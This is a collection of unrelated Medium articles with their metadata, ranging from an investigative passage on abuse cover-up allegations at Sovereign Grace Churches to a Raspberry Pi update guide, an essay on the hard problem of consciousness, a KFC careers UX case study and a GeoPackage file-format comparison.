When I asked if Detwiler could corroborate the claim that Mahaney gave money to his friends, he pointed me to a post on the Wartburg Watch that linked Mahaney and Sovereign Grace with charitable contributions of $200,000 or more to Southern Baptist Theological Seminary. What’s the big deal about Mahaney giving money to a seminary? Al Mohler is its president, and one of Mahaney’s most adamant supporters.
According to archives of the seminary’s annual magazine from 2005 to 2007, Mahaney is listed as giving gifts of $10,000 or more and quickly jumps to the President’s Council — the highest giving level — for contributing cumulative gifts of $100,000 or more (2005 — see page 36 and 45; 2006 — see page 43; 2007 — see page 36 and 43). Sovereign Grace is also recorded as giving the same amount to the seminary, joining the President’s Council by 2007. After 2007, the magazine stopped reporting giving levels altogether. Sovereign Grace confirmed giving a total of $120,000 to Mohler’s seminary up until 2013, but stated that due to a software accounting error, some of their gifts were wrongly attributed to Mahaney. They also confirmed Mahaney was on the Board of Directors that voted to donate to Mohler’s seminary.
I traveled further down the money trail to see who else Mahaney gave significant sums to. There were two other public records I uncovered:
In a 2003 audio clip recording, Mahaney gave pastor Mark Dever’s church a gift of $10,000 while calling Dever “O Captain, My Captain.” Dever has repeatedly defended Mahaney.
In a 2016 Twitter exchange between Dee Parsons of the Wartburg Watch and Gospel Coalition member Thabiti Anyabwile, Anyabwile says that Mahaney gave his church $5,000. He’s also defended Mahaney.
Source: Twitter exchange between Thabiti Anyabwile and Amy Smith
Detwiler and The Wartburg Watch have been repeatedly dismissed by leaders among the Southern Baptist Convention and The Gospel Coalition. As a result, prominent Christians have also written off the evidence, siding with the vocal supporters of Mahaney.
Ignoring the whistleblowers is one thing. Ignoring the voices of victims is quite another.
Denhollander Makes her Stand
In September 2016, Rachael Denhollander became the first woman to publicly accuse Larry Nassar — the former USA Gymnastics national team doctor — of sexual abuse. Once her story broke in the Indianapolis Star, over 250 other women stepped forward with their own tales of abuse at the hands of Nassar. Her testimony at Nassar’s sentencing in January 2018 went viral and, along with the other survivors, ESPN awarded her the Arthur Ashe Courage Award.
A prominent Christian figure and victim-turned-lawyer, Denhollander became an outspoken critic of Sovereign Grace. In a 2018 interview with Christianity Today, she stated that SGM and Mahaney’s involvement were “one of the worst, if not the worst, instances of evangelical cover-up of sexual abuse” and “one of the most well-documented cases of institutional cover-up I have ever seen.”
Rachael Denhollander | Photo by Marie DuPlantz on Wikimedia Commons
The backlash was immediate. Sovereign Grace called her “misinformed,” and Denhollander’s church sided with them. However, after a Washington Post article about rampant sexual abuse within the church, Denhollander’s church responded and apologized for not listening to her or the victims. Never one to back down, Denhollander responded en force to SGM on March 1, 2018, posting on Facebook a 7,800-word rebuttal, clinically documenting the systemic abuse and cover-up within SGM, of which Mahaney was the clear ringleader. Following Denhollander’s remarks, Mark Galli, the editor in chief of Christianity Today, called for an independent investigation.
Once Denhollander’s statement gained national attention, C.J. Mahaney withdrew from a large conference entitled Together For the Gospel (T4G). Mahaney stated that he withdrew because of “the recent, renewed controversy surrounding Sovereign Grace Churches and me.” He went on to state that, “I categorically reject the suggestion that I have ever conspired to cover up sexual abuse or other wrongdoing.”
*denotes men who have supported Mahaney publicly | Back row (left to right): Matt Chandler, C.J. Mahaney, Al Mohler*, Ligon Duncan*, Mark Dever* | Front row (left to right): David Platt, John MacArthur, John Piper*, Kevin DeYoung*, Thabiti Anyabwile*
The Good Ol’ Boys
In every interview I conducted, victims, whistleblowers, and other sources repeated one phrase to explain why abuse goes unreported and victims are dismissed: “the good ol’ boy network.”
The Harvey Weinstein scandal showed how readily some men in the film industry remained silent despite the allegations rocking Hollywood. The connection, of course, was film. So how are the men and organizations that have backed Mahaney — or remained silent — all connected? Most are part of the aforementioned Southern Baptist Convention (SBC).
Founded in 1845, the SBC began its slow walk toward implosion in June of 2017. A resolution to condemn the alt-right and white supremacy took an embarrassingly long time to pass at their annual convention. Leaders within the SBC initially refused to even review the proposal before an uproar changed their minds. Ever since, the SBC remains on fire as misconduct plagues the institution. (A representative from the SBC couldn’t “speak to a direct cause/effect relationship” between the backlash and their subsequent review of the proposal.)
By the time the 2018 convention took place, rampant reports of misogyny and sexism had become the highlight of the event, especially after a renowned SBC leader, Beth Moore, penned a viral article about her treatment by men within the fellowship. Amid calls for resolution, two other scandals broke out: Paige Patterson, one of the most prominent leaders within the SBC, was ousted from his seminary after it came to light that he lied to his board of directors about a rape allegation cover-up; and, not more than a few days after Patterson’s dismissal, a young woman named Anne Marie Miller stepped forward with evidence detailing a cover-up within the Southern Baptist’s most influential arm — the International Missions Board.
Affiliated with the SBC, the International Missions Board is an organization that sends missionaries around the world to help humanitarian efforts and spread the Christian faith. The scandal began when Miller claimed that officials in the organization knew of sexual abuse allegations 11 years before the man she accused was finally arrested. After the Star Telegram verified her claims, the newspaper provided documents showing a history of negligence and efforts to silence Miller by the International Missions Board. The debacle was so embarrassing that Al Mohler — one of Mahaney’s most vocal proponents — even penned an article entitled “The Wrath of God Poured Out — The Humiliation of the Southern Baptist Convention.”
While the SBC has tried to backtrack and publicly support victims, its leaders remain silent on Mahaney. David Platt (featured in an earlier photo next to Mahaney) is the President of the International Missions Board. Platt personally contacted Miller after her story gained national attention, and issued a public apology along with a call for a third-party investigation. J.D. Greear, the newly elected President of the SBC, also contacted Miller to apologize, as did Russell Moore, the President of the Ethics & Religious Liberty Commission. Yet, all three men remain silent on Mahaney and Sovereign Grace Churches. | https://gen.medium.com/together-for-the-go-pel-26a23116d46b | ['Benjamin Sledge'] | 2019-08-28 01:38:13.014000+00:00 | ['Religion', 'Sexual Abuse', 'Christianity', 'Sexual Assault', 'Justice'] |
5 Signs That You Like Being Ordinary | They say everyone is different and unique, however, I feel everyone also gets an equal opportunity to change themselves. The only difference is some choose to change and some choose not to. The journey for everyone is precisely basis the decisions they make. The world is divided into two halves I feel; the ordinary and the extraordinary, only the ‘extra’ is what makes the massive difference.
5 Signs that you like being ordinary:
1. You are too adamant to change: Change is something that is inevitable and which is the need of the hour. One can get different results only when they are ready to change and act differently. Otherwise, the growth wouldn’t be as swift as you expect it to be. The key is to be aware of what you want and if you are doing your bit to get there. Everyone wants the best for them but no one really wants to actively work for it.
2. The “it's Okay” attitude: The it’s okay is an attitude either of the lazy or of people who think they know it all and don’t really care. They make it an excuse because they do not want to get up and get going. Nothing drives them and they just get into the lethargic mode. These are the ones who just take things and accept things the way they are. They definitely want a better life but are not willing to give what it takes and therefore hide behind their “it’s okay attitude”.
3. You are too comfortable enjoying the ordinary life: Most of you start loving the routine you are into and therefore no motivation can help you get rid of the routine. You get too comfy in enjoying the so-called mediocre life. Which can only be changed if one has a very very strong reason /a goal or a dream that would drive them off the routine.
4. Motivation only gives a temporary high: The information that you have is raw until you benefit from it and the only way to benefit from it is by applying that information to gain experience. Motivation is one such dose of learning that needs direction; only if directed and channelized appropriately would it be helpful for your growth and productivity. It is very easy to get back to your old self; one needs to have immense self-control and perseverance to be who you want to be.
5. Growth is never the goal: When a person becomes content with what one has, growth is never a goal. The only goal is to go by the day and just merely survive through. And that’s where the thought process comes to a standstill.
Guidance through the journey of life comes only through your upbringing, your surroundings, and your experiences. Whereas, success comes only after relevant work is put in the direction of the goal. Take a decision of either adding that “Extra” in your life or living in the “Ordinary”… #onelife | https://medium.com/@silentlynoisy/5-signs-that-you-like-being-ordinary-b4ea87b7d1a0 | ['Silently Noisy'] | 2020-12-20 18:13:00.213000+00:00 | ['Change', 'Extraordinary', 'Love Yourself', 'Awareness', 'Mindfulness'] |
One Shot Keto Amazon,Keto Shot Shark Tank,One Shot Keto Walmart,One Shot Keto Diet | Keto Shot Shark Tank : You should feel yourself becoming ketogenic if you make these macromolecular adjustments. It is best to maintain a caloric deficit (though calories are not the best way of understanding energy, they’re the metric we have). Udon noodles are not suitable for a low-carb diet but you can try shirataki noodles or kelp noodles . You can have a glass as long as it doesn’t affect your progress.
A ketogenic (or ‘keto’) diet is a low-carbohydrate, high-fat diet. Although it has benefits as a medical treatment for certain groups of people, there is little evidence to recommend it as a long-term weight loss technique for healthy people.
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How To Update Raspberry Pi: Just Follow These Easy Steps | Let’s talk a about how to update Raspberry Pi. If you’ve never updated your little computer , it’s time to try it out!
Released in September 2019, Raspbian Buster is based on Debian Buster and has been updated several times. It pre-installed Python, Scratch, Sonic Pi, Java and other programming tools.
Raspbian itself comes with a set of tools, from the Chromium browser to several useful software applications and utilities. There is also Claws Mail, the LibreOffice package, not to mention Minecraft PE!
The latest versions of Raspbian have been improved with a wizard along with a recommended software tool. Display settings have also been added, including Pixel Doubling for UHD displays. There is also support for network boot over Ethernet.
(btw, if you haven’t seen this Raspberry Pi video lessons for beginners, I highly recommend to check it)
The easiest way to update Raspbian is in Terminal. Do it via the desktop menu or by pressing Ctrl + Alt + T (I assume you have a typical keyboard)
Start by updating the list of repository packages:
sudo apt update
When this is done, run the update command:
sudo apt dist-upgrade
Follow any instructions and wait for the Pi update. When you’re done, type in:
sudo apt clean
This will delete unnecessary files that were uploaded during the update. Finish by restarting:
sudo reboot
When your Raspberry Pi is restarted, you will use the latest version of Raspbian.
Upgrade Raspbian to the latest version
As already mentioned, Raspbian is based on Debian and follows the naming conventions of the parent distribution.
To upgrade Raspbian Stretch to Raspbian Buster, start with updates and upgrades to the latest packages.
sudo apt update sudo apt dist-upgrade -y
Then you need to update the firmware:
sudo rpi-update
Updating to Raspbian Buster means switching repositories. This can be easily done in the terminal by editing the sources:
sudo nano /etc/apt/sources.list
Use the arrow keys to view the list until you find it
deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi
Change this line by replacing “stretch” with “buster”:
deb http://raspbian.raspberrypi.org/raspbian/ buster main contrib non-free rpi
Press Ctrl + X to save and exit, then delete a large change log file:
sudo apt-get remove apt-listchanges
This will save time when updating the operating system.
After updating the sources, you can start a full package update:
sudo apt update sudo apt dist-upgrade
It will take some time, so be patient. When you’re done, use
sudo apt autoremove -y
give up old packages with changed dependencies, then
sudo apt autoclean
This clears the packet cache, removing data that is no longer available for download and saving space on your Raspberry Pi.
To complete the upgrade from Raspbian Stretch to Raspbian Buster, restart your computer.
sudo reboot
That’s all, folks! You also may be interested on my other story about RPi: | https://medium.com/@jamesjdavis/how-to-update-raspberry-pi-just-follow-these-easy-steps-ac507cf70238 | ['James J. Davis'] | 2020-12-10 15:14:33.151000+00:00 | ['Raspberry Pi', 'Geeksforgeeks', 'Guides And Tutorials'] |
文本情感可视系统简介 | Explore, Think, Create
> words and ideas can change the world. | https://medium.com/shidanqing/%E6%96%87%E6%9C%AC%E6%83%85%E6%84%9F%E5%8F%AF%E8%A7%86%E7%B3%BB%E7%BB%9F%E7%AE%80%E4%BB%8B-4ac990b96648 | [] | 2017-10-15 09:30:06.375000+00:00 | ['Data Visualization'] |
What Is the Hard Problem of Consciousness? | The Soul and The Id: Understanding the Hard Problem of Consciousness
What Is the Hard Problem of Consciousness?
Brad has volunteered to sit in a lab, stare at a screen, and say out loud what he sees. All the while, parts of his brain are being observed and recorded.
Later, in another lab, Amy can look at the recordings of Brad’s brain and know when he saw human faces… or when he felt afraid… or any number of other things Brad experienced while watching the screen, depending on what view of Brad’s brain she has, even though she cannot see what he saw, or feel what he felt. Brad, for this part, had no conscious experience whatsoever of the neural activity in his own brain which allows Amy to deduce what he was experiencing.
So here we have two different sets of observations — Amy’s observations (set A) of what’s going on in Brad’s brain, and Brad’s own observations (set B) generated by his brain. Amy can make correct deductions about set B on the basis of set A because our conscious experiences are tightly connected with the actions of our brains. These consistent and predictable connections are called the neural correlates of consciousness, or NCCs.
The so-called “hard problem of consciousness” is our inability to explain these correlations in a rigorous, scientific way. Specifically:
Why and how does brain activity produce any conscious experience? Why don’t we simply respond to the world like plants or machines, without our brains creating conscious “percepts” such as colors and odors and sounds?
Why is some activity in the brain correlated with conscious experience, while other brain activity is not? And why doesn’t any other organ do this?
Why are the NCCs what they are and not something else? Why does bouncing certain wavelengths of light off our retinas, for example, cause us to see yellow rather than red, or to have some experience other than color. (And no, it’s not because the light itself is yellow, as we shall see.)
Description is not explanation
Before delving into these questions, we need to first understand what exactly a “hard problem” is, and why this is one of them. A hard problem isn’t one that is extremely complex, or involves a lot of work to solve. The solution could turn out to be quite simple. Rather, it’s one that we not only have no way of answering at the moment, but no way of thinking about constructively, no tools with which to craft an answer, or meaningfully search for one other than taking stabs in the dark until, hopefully, we hit something.
For example, if you lived in the Middle Ages, the aurora borealis or “northern lights” would have been a hard problem. Quite literally, you could have known everything there was to know at the time about the northern lights, or indeed everything that possibly could have been known then, and you still would have had no way of explaining what was going on. No amount of observation, no amount of research could have helped you. Nor could you have figured out why you had no way of finding the answer.
That’s because in order to understand the northern lights, you first need to have an understanding of solar plasma, planetary magnetic fields, and the Earth’s ionosphere. Without that scientific foundation, not only can the northern lights not be explained, but there is no way of even framing a potentially correct explanation, no way of steering the investigation in the right direction. And no way of knowing what the missing bits are that would lead to a solution.
The NCCs are not an explanation of consciousness. They are merely a description of what we observe. Our situation is similar to the problem of gravity in the two centuries between the work of Isaac Newton and Albert Einstein, when it was also a hard problem.
Newton provided a revolutionary description of gravity. According to his observations and calculations, gravity was a universal force of attraction among massive objects which was proportional to the product of their masses (mass 1 multiplied by mass 2) and inversely proportional to the square of the distance between their centers, so if you double the distance between two objects the force is one fourth as strong, if you triple the distance the force is one ninth as strong, and so on. Now, that’s all very important, but it doesn’t explain why there is a universal attractive force rather than things just floating around freely, or why that force is proportional to the product of the masses rather than, say, their sum, or why it decreases as the square of the distance rather than the cube or any other value.
Similarly, we can’t point to the behavior of the brain and say, “Well, that explains it, consciousness is the brain activity.” Or put another way, we can’t say “Data set B is data set A” even if we know that one causes the other. Because if they are the same, why are they so different? Why isn’t Brad’s observation exactly the same as Amy’s — why doesn’t he have a conscious experience of neurons firing? And why is it different in the particular way that it is, rather than some other way? Just as Newton’s description of how gravity worked was not an explanation because it failed to tell us why it was like that rather than otherwise, or why it existed in the first place, the NCCs are also merely a description which do not tell us why the NCCs are what they are rather than something else, or why they exist at all.
The truth isn’t “out there”
Now you might be thinking, the reason we see yellow when a certain sort of light hits our eyes is simple — the light is yellow, and we are perceiving the color of the light. But light is not yellow, or any other color. Colors are something done by brains.
Light refracting off a compact disc (adapted; original photo by cocoparisienne)
Photons, or “particles” of light, are excitations of the electromagnetic field. When measured as waves, we can say that different instances of light have different wavelengths and amplitudes (different widths and heights). The retinas at the backs of our eyes respond differently to different sorts of light by sending varying sorts of neural impulse patterns down the optic nerve. There are two key features of this process to note here.
First, photons are photons and waves are waves. Photons are “quanta” of energy. Waves are essentially patterns of motion. And that is all that they are. There is no way for them to have a color. Where would they have it?
Second, neurons are neurons. They are not light, and they can only do what neurons do. They cannot do what light does. So even if color were a feature of light, it wouldn’t matter, because the light doesn’t get into your head. Nor does the light somehow take color out of its pocket and shove it down your optic nerve toward your visual cortex.
There is an image from old textbooks which exists in many variations and which has likely misinformed millions of young minds. An outline of a human head is shown facing an object. (Trees are quite popular, for some reason.) Two lines extend from the top and bottom of the object and converge at a point on the eye lens. Inside the eye, the lines diverge again, ending on the retina where the object reappears upside down, “projected” in reverse. From there, the image is then re-projected into the brain cavity, appearing rightside up again.
Almost every element of this illustration is wrong.
Not only is there no image of a tree (or anything else) on your retina, it is not even possible to deduce what you visually experience by examining what’s going on with your retinal tissue. A very clear example of this comes from cases of visual rivalry, in which a subject looks at an image that can be consciously seen in one of two ways, but not both at the same time. The information on the retina remains steady, while the conscious percept shifts back and forth. The most well known example of such images is the Necker cube, a “stick figure” box that can be seen as a transparent cube viewed from above or below (or as a flat pattern). There are many other examples, such as competing vertical and horizontal color bars (as seen here) which appear to fade, vanish, and reappear.
Examples of visual rivalry (public domain via Wikimedia Commons)
Tracing the NCCs involved in these experiences of visual rivalry is complex. No evidence of the shifts in conscious percepts are detectable on the retina or optic nerve. In the thalamus, which contains a sort of routing station between the retina and visual cortex, some small fraction of neurons may show evidence of discrimination, or none may, depending on the stimulus. In primary visual cortex, the percentage of neurons showing differences in firing patterns which correspond to shifts in conscious percepts is quite low. This percentage rises through subsequent stages of visual cortex, until “in the highest echelons of the… visual stream” the great majority of neural activity exhibits a correlation with what the viewer consciously sees. (Kreiman, “Neural Correlates of Consciousness: Perception and Volition”, The Cognitive Neurosciences, 5th ed., 2014)
Plus, there’s a lot going on in the retina that never makes it to conscious awareness at all. For example, our retinas respond to TV monitor refresh rates that are too quick for us to be consciously aware of. And our eyes are constantly making rapid shifts called saccades which we never “see”. And of course, the optic nerve itself creates a well-known retinal “blind spot” which we do not experience. On the flip side, when we dream, our visual cortex produces all sorts of imagery which corresponds to no retinal activation whatsoever. (Kreiman)
The image of the tree is produced by your visual cortex in combination with other areas of your brain. It never exists in your eye. Nor does the tree “look like that” in any objective sense.
The same can be said for all of our senses. The molecules in our noses don’t have any scent inside them, and the molecules on our tongues don’t contain any flavor. The air bouncing off our eardrums doesn’t hold any sound. Even the sensations of our own bodies are produced within our brains, and are not “perceived” by them in the form that we feel them.
A doorbell, not a projector
Rather than imagining a projector and a screen when thinking about vision, we would be better off imagining a doorbell: A finger presses a button which sends electrical impulses down a wire to a bell. Similarly, light strikes the retina which sends biochemical impulses down nerves to… well, to the rest of the brain. We don’t really understand the “bell” part of our biological apparatus yet, and the bits we do understand will have to wait for another article.
That model is oversimplified in some very important ways. For example, our brains aren’t so linear. The neural firings don’t go charging forward in a straight line toward their destination. They’re more like a brigade which sends scouts out in front who circle back with information, while exchanging messages with other brigades on other missions, as well as receiving communications from central command, all of which alters their routes and formations and tactics. It’s a process often described as a “cascade”.
If you saw the 1987 spy thriller No Way Out, then you’ve seen a similar process played out on a fictional computer. In the film, the computer is tasked with enhancing a blurry photo of a man’s face. It does this by making millions of tiny guesses about what an unblurry image of the face might look like, tossing out results that make it look less like a male human face, and keeping those that make it look more like one. Our brains do this in mere fractions of a second, crafting an experience of the world that best matches what the brain expects, based on a combination of what it is born to expect and what experience leads it to expect.
Nevertheless, for our purposes here, the analogy of the doorbell is still useful. Light waves striking the retina — or molecules landing in our noses or on our tongues, or percussion waves in the air striking our ears — are like the finger pressing the button. Nothing about the finger transfers to the button, except the pressure it exerts. The button doesn’t receive any of the characteristics of the finger. By the same token, nothing about the button transfers to the wire. The button does buttony stuff and the wire does wirey stuff. They are in a chain of reaction, and are not carrying anything through from one to the other like relay racers handing off a baton. There is no baton. Just as there is no ringing of a bell moving through the wire, there is no image of a tree or odor of pine needles or sound of birdsong moving through our nerves from our retinas and noses and ear drums.
There is also no way to predict, by examining what’s going on in the wire, what will eventually happen at the other end. Perhaps a bell will ring. Or perhaps not. Perhaps a deaf person lives at this house and the electrical impulses will cause a light to flash. Any number of things could occur. A spray of perfume could be emitted. The floor could be made to vibrate. A bomb could go off. Or nothing could happen at all. Who knows? The wire has no say in the matter.
Similarly, evolution can do all sorts of things at the end of the wire. And understanding this point is crucial to understanding the hard problem of consciousness. If it were true that we experience the world as we do because that is how the world is, then the hard problem would not exist, or at least not in the form that it does. But evolution was not obliged to turn light into colors, or molecules into flavors and odors, or to render anything in the way we consciously experience it. So why and how does it generate the particular percepts that it creates, rather than some other set of percepts, or none at all?
Of sharks and birds and magnets
The basic building blocks of our conscious experience are referred to in some circles as qualia (pronounced like KWA-lee-uh). The human brain produces a particular palette of qualia — sounds, scents, flavors, colors, sensations, emotions, and so forth — which are integrated into a unified conscious experience which seems to us to be the outside world, and our own bodies.
In reality, all of that is inside our heads. And we know this to be true in a variety of interesting ways. Take, for example, the condition of synesthesia, which results from activity in one area of the brain crossing over and triggering another area in an atypical way, so that words have flavors, for example, or numbers have colors, or textures trigger emotions. If it is true that qualia are an inborn function of the brain, and not perceptions learned from experience, then it should be true that people who have synesthesia involving colors and who are also colorblind will experience the “missing” colors in their synesthetic experiences, as the neural regions responsible for producing them are cross-stimulated. While performing research on synesthesia, the neuroscientist V. S. Ramachandran encountered a study volunteer who was red-green colorblind. And in fact “he often saw numbers that were tinged with colors that he never saw in the real world…. He could only see these when looking at numbers.”
[The subject’s] cone receptors are deficient, but the problem is entirely in his eyes. His retinas are unable to send the full normal range of… signals up to the brain…. At the same time, he is a number-color synesthete. Thus the number shapes are processed normally all the way up to his fusiform and then, due to cross-wiring, produce cross-activation of cells in his [visual cortex] color area. Since [he] has never experienced his missing colors in the real world and can do so only by looking at numbers, he finds them incredibly strange. (Ramachandran, The Tell-Tale Brain, 2011)
From human to human, there are naturally occurring variations in the qualia produced by the brain. Other animals have different palettes of qualia, which may or may not overlap with ours. For example, both birds and sharks respond to magnetic fields, which humans have no conscious representation for. Birds navigate by them, and sharks find them repulsive. What we cannot know is how the brains of sharks and birds render magnetic fields as percepts. Whatever it is that these animals consciously experience, we are utterly unable to comprehend it, since our brains are not built to perform the same trick.
Sometimes you will see photographs altered to show “what a flower looks like to a bee” or something like that, by rendering ultraviolet or infrared wavelengths of light as some kind of human-perceptible color. Similarly, images from the Hubble deep space telescope are crafted by assigning human-palette colors to various wavelengths of radiation. But all of that is artificial and arbitrary, a translation of the world into human-consciousness-ese.
In truth, the universe doesn’t look like anything at all. It doesn’t sound like anything. It doesn’t smell like anything. It doesn’t taste like anything or feel like anything. All of that goes on in the mind and is produced by the brain. The hard problem of consciousness asks how the brain does that, and why it does it in the particular way that it does, and not in any other way.
What the hard problem is not
The term “hard problem of consciousness” was coined a quarter-century ago by David Chalmers. And it is often described as the problem of how the physical processes of the brain can give rise to the non-physical mind. But such loose philosophical descriptions are, at best, not useful and, at worst, profoundly misleading. It is tempting to go back to Chalmers’ original conception of the problem in an attempt to understand it, but neuroscience has made great strides since the 1990s, and it makes no more sense to refer to Chalmers’ formulation of the hard problem as the basis for what it means today than it would to refer to Lemaître’s work in the 1920s to understand the current science of the Big Bang, or to Wheeler’s writings of the 1960s to understand the current science of black holes.
Another common misunderstanding is that the “hard problem” involves the inherent “subjectivity” of conscious experience. In reality, consciousness is the stuff of observation itself, and all observations are inherently and equally subjective. Amy cannot have Brad’s experience of seeing the yellow light, but by the same token, Brad cannot have Amy’s experience of observing the measurements of his brain activity. That said, the experiment can be repeated with the roles reversed and Amy can have her own experience of yellow while Brad can have his own experience of viewing the results of the neural measurements. Or Brad can have his own experience of viewing the scans of his brain. But that still will not be Amy’s experience of it.
A third misconception of the problem is that it doesn’t exist, that the problem is solved by the NCCs themselves. But as we have seen, knowing that neural activity is correlated with conscious experience does not tell us how or why this is so, and that is the heart of the problem. It is a tale of two datasets, and our inability not only to answer those questions of how and why, but also our utter befuddlement at what qualia even are, or how to begin designing studies or experiments that might lead to an answer.
Where to from here?
One thing we do know — following the chain of neural impulses that produces other sorts of brain-driven functions like moving our muscles is not going to produce an answer. Consciousness is qualitatively different, a new trick that some animal brains learned to perform somewhere along the evolutionary path.
Some have fallen into the temptation of assuming that all the stuff of the universe itself is conscious, a position known as panpsychism. That is certainly a convenient way of removing the problem, but the existing research into conscious percepts indicates that it simply isn’t so. We know, for example, that consciousness involves the integration of synchronized neural activity in disparate regions of the brain. (Tononi and Balduzzi, “Toward a Theory of Consciousness”, The Cognitive Neurosciences, 4th ed., 2009; Carter et al, “Consciousness”, The Human Brain, 2009) It is an evolved, complex bodily function. There is no reason to believe, and every reason not to, that either the universe as a whole or life forms which do not possess complex brains can generate conscious experience.
Because consciousness is still a hard problem, nobody knows or can know right now where the answer will come from. But there are functions and features of the brain to examine other than the neural chain. For example, conscious electromagnetic field theory, or CEMI for short, proposes that evolution used the electromagnetic “noise” produced by the brain to generate conscious percepts in the form of a hologram-like phenomenon inside the skull which was (and is) useful for navigation of the environment. It’s impossible to say if anything will come of that research, but for the moment we are going to have to continue to be open-minded, to rethink the problem in new ways, and continue to take shots in the dark until something says “Ouch!”
And if we are to value and properly understand research into our own conscious minds, and those of other animals, it is imperative that we understand what the hard problem is, as well as what it isn’t. | https://medium.com/illumination-curated/what-is-the-hard-problem-f01784dce498 | ['Paul Thomas Zenki'] | 2021-02-05 19:52:28.434000+00:00 | ['Life', 'Psychology', 'Brain', 'Consciousness', 'Science'] |
UX/UI Case Study: KFC Careers | Our Challenge
The brief was simple. Transform the KFC careers portal into a fun, engaging and on-brand experience. Make use of great form design to improve UX issues, and speed up the overall customer journey.
We also wanted to make it a better experience post-application for both hiring managers and future employees, taking advantage of automated EDMs to show the status of an application.
What we did
UX Audit & Design
We applied good design practices to make this site not only incredibly easy to use, but engaging as well. Principles of good form design, such as pre-formatted date input fields (pop-up calendars are so 2010) and the ability to not only apply for multiple roles, but multiple stores too, all on a really lovely map view, where you can see exactly where each store is.
Total Design Refresh
The new design is modern, fresh and quintessentially KFC, right down to the buckets of chicken as stage markers, and emojis in place of icons.
Probably the most fun you’ll ever have applying for a job
Party in the front, business in the back
Using real-time data, we can pull in job listings, send through application data, and create automations to notify applicants of the progress of their application in real time. Stores now also have an automated process to reject applications that are out of date.
The Result?
A job portal that’s engaging, fun and easy to use — and oh-so-on-brand for KFC. Since lauch we’ve smashed our goals with:
60% increase in completed applications Thousands of happy applicants!
Check it out for yourself! | https://medium.com/ogilvy-ux/kfc-careers-971038264170 | ['Chris Rusnak'] | 2020-08-27 02:27:30.961000+00:00 | ['Kfc', 'Case Study', 'Design', 'UX'] |
Why you need to use Geopackage files instead of shapefile or GeoJSON | Image of London Road network with Uber rides. As shown on Youtube Video.
Current Vector Data Standard Formats
If you have been using the vector data and doing spatial analysis, you know shapefile and geojson. These are two of the most commonly used vector data formats to store data and carry out any spatial analysis. GeoJSON, in particular, has been the go-to format while serving data to web applications. But, both these formats have a lot of disadvantages when you wish to scale your work and build integrated & automated workflows for large-scale deployments. Geopackage format offers a variety of features in this regard. And that’s why you need to use Geopackage files instead of shapefile or GeoJSON. Let’s dive deeper into the details.
If you would like to read more about geospatial data and how it’s changing the field of data analytics, check out my blog on the topic here.
Problems with Shapefiles
Shapefiles have been around for a long time now. ESRI developed this format in the early 1990s & since then, it has become one of the widely adopted standard formats to work with and share vector data among people. Shapefile stores non-topological vector data along with related attribute data. Though widely used, it has quite a few & significant disadvantages for the modern use cases;
Shapefile is a multi-file format. Each vector layer you save has a minimum of 3 files (.shp, .shx & .dbf) and several other attached files with different extensions. So, if you want to share a shapefile with someone, you have to share all those files for one layer. And if you have several layers, the number of files is large. It’s not ideal to have ~4–6x the number of files for each of your project.
Shapefile supports related attributes data similar to a tabular dataset with column headers. But you can only have ten characters to define the column header, and it is not always ideal to have an abbreviated form of column headers where some description/identification is necessary on column headers.
The shapefiles have a maximum size of 2GB. You can’t export a vector layer with more features that may exceed the 2GB as a shapefile.
The shapefiles can’t have more than one geometry type in a file.
As the size of the shapefile increases and as you deal with more attribute columns & rows, the performance of the shapefile drastically reduces and it becomes sluggish even with a spatial index on QGIS.
Problems with GeoJSONs
GeoJSONs were in part created to address the multiple files problem with the shapefiles. Built as an extension of JSON objects used on the web applications, it did solve a few of the issues shapefiles posed. But it has its own set of limitations;
For a similar number of vector features with attributes, GeoJSON has almost double the file size compared to shapefile in most cases.
GeoJSONs have no spatial indexing. So, it’s tough to handle when dealing with a large number of features. And just panning around the spatial features to explore on a QGIS map canvas is a tiresome task most of the times.
Whenever you load the files to run some tasks, the entire file is loaded onto the memory at once, and this might create problems in several scenarios, especially with large files.
Also, the loading of the files is usually slower compared to shapefile and geopackages, but the memory consumption is similar or more.
If the file size exceeds some limit (~10–11 GB in my experience), the features might get written incompletely, hence making the file corrupt.
What’s GeoPackage?
Developed by OGC as an open format for geospatial information, they define the GeoPackage as below;
GeoPackage is an open, standards-based, platform-independent, portable, self-describing, compact format for transferring geospatial information.
A geopackage, in essence, is an SQLite container with OGC encoding standards for storing vector features, tile matrix (raster data), non-spatial attributes data and extensions.
By default, each of the geopackage files has few meta tables like below to understand and handle the geospatial layers.
'gpkg_spatial_ref_sys',
'gpkg_contents',
'gpkg_ogr_contents',
'gpkg_geometry_columns',
'gpkg_tile_matrix_set',
'gpkg_tile_matrix',
'gpkg_extensions',
'sqlite_sequence',
Advantages
Open source, based on SQLite database
Very lightweight but highly compatible across across environments (esp. in mobile devices where connectivity & bandwidth is limited)
Geopackages are generally ~1.1–1.3x lighter in file size compared to shapefiles and almost 2x lighter with respect to geojsons.
$ fs road_network/*
193M road_network/roads.geojson
70M road_network/roads.gpkg
81M road_network/roads.shp
Since the vector layers in geopackage are inherently rtree indexed (spatial indexing), loading file on QGIS or making queries on the file database is fast.
There is no limit on the file size and it can handle large number of features in a smaller file size.
Compared to shapefiles, the column headers can be full names and right by providing the correct context for each column.
You will see a faster run and algorithm outputs on geopackages compared to shapefiles (You can try this on QGIS).
A single geopackage file can have multiple vector layers with each layer having a different geometry type.
$ ogrinfo ./outputs/road_network.gpkg INFO: Open of './outputs/road_network.gpkg' using driver 'GPKG' successful. 1: roads_area_hex8_grids (Multi Polygon)
2: roads_area_hex9_grids (Multi Polygon)
3: roads_area_major_segments (Multi Polygon)
4: roads_network_lines (Line String)
5: roads_poly_line_vertices (Point)
6: roads_intersection_node_points (Point)
7: roads_end_node_points (Point)
You can have non-spatial attribute tables (pandas tables) as well along with vector layers.
$ ogrinfo ./india_villages_master_2011.gpkg INFO: Open of './india_villages_master_2011.gpkg' using driver 'GPKG' successful. 1: village_data_master (None) # (non-spatial)
2: village_codes_mapping (None) # (non-spatial)
3: village_points (Point)
4: village_voronoi_polygons (Multi Polygon)
We regularly deal with making changes to the vector layers as the data is updated. And loading and editing the features of geopackage files on QGIS or python is faster.
The file can be handled using GDAL, QGIS, Python, R, SQLite and Postgres (with few limitations on each mode)
Adding and loading the geopackage to a Postgres database is much faster compared to shapefile or geojson (which takes forever with some larger datasets) since it’s already a database format and spatially indexed (compared to shapefile or geojson).
Interestingly, geopackages can also handle rasters as a tile matrix. (of course, there are some limitations to this)
How can one use it in their Workflow?
